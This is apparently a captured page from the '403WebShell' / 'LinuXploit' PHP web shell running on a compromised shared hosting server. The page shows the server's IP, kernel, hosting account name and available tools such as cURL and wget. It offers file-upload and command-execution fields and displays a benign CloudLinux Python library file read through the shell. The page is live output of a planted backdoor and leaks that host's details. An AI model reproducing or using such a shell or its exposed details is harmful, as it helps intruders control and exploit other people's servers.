Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.226.88.18
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/cllimits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/cllimits/domain_lib.py
# -*- coding: utf-8 -*-

# domainlib.py - library for miscelaneous domain operations
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from clcommon import cpapi
from clcommon.clexception import FormattedException
from clcommon.cpapi import NotSupported


class DomainException(FormattedException):
    pass


class Domain:
    def __init__(self):
        self._userdomain_cache = None  # type: dict[str, str]

    def get_user_domain(self, username):
        """
        Retrive main domain for supplied user
        :param username: User name
        :return: Domain name or N/A
        """
        if self._userdomain_cache is None:
            try:
                self._userdomain_cache = dict(cpapi.cpinfo(keyls=('cplogin', 'dns')))
            except NotSupported:
                self._userdomain_cache = {}
        return self._userdomain_cache.get(username, 'N/A')

    def get_user_name_by_domain(self, domain_name):
        """
        Retrive username by domain
        :param domain_name: Domain name
        :return: Username
        """
        try:
            username = cpapi.domain_owner(domain_name)
            if username:
                return username
        except (IOError, cpapi.cpapiexceptions.NotSupported) as e:
            raise DomainException(str(e)) from e
        raise DomainException({'message': "There is no domain '%(domain)s'",
                               'context': {'domain': domain_name}})

Youez - 2016 - github.com/yon3zu
LinuXploit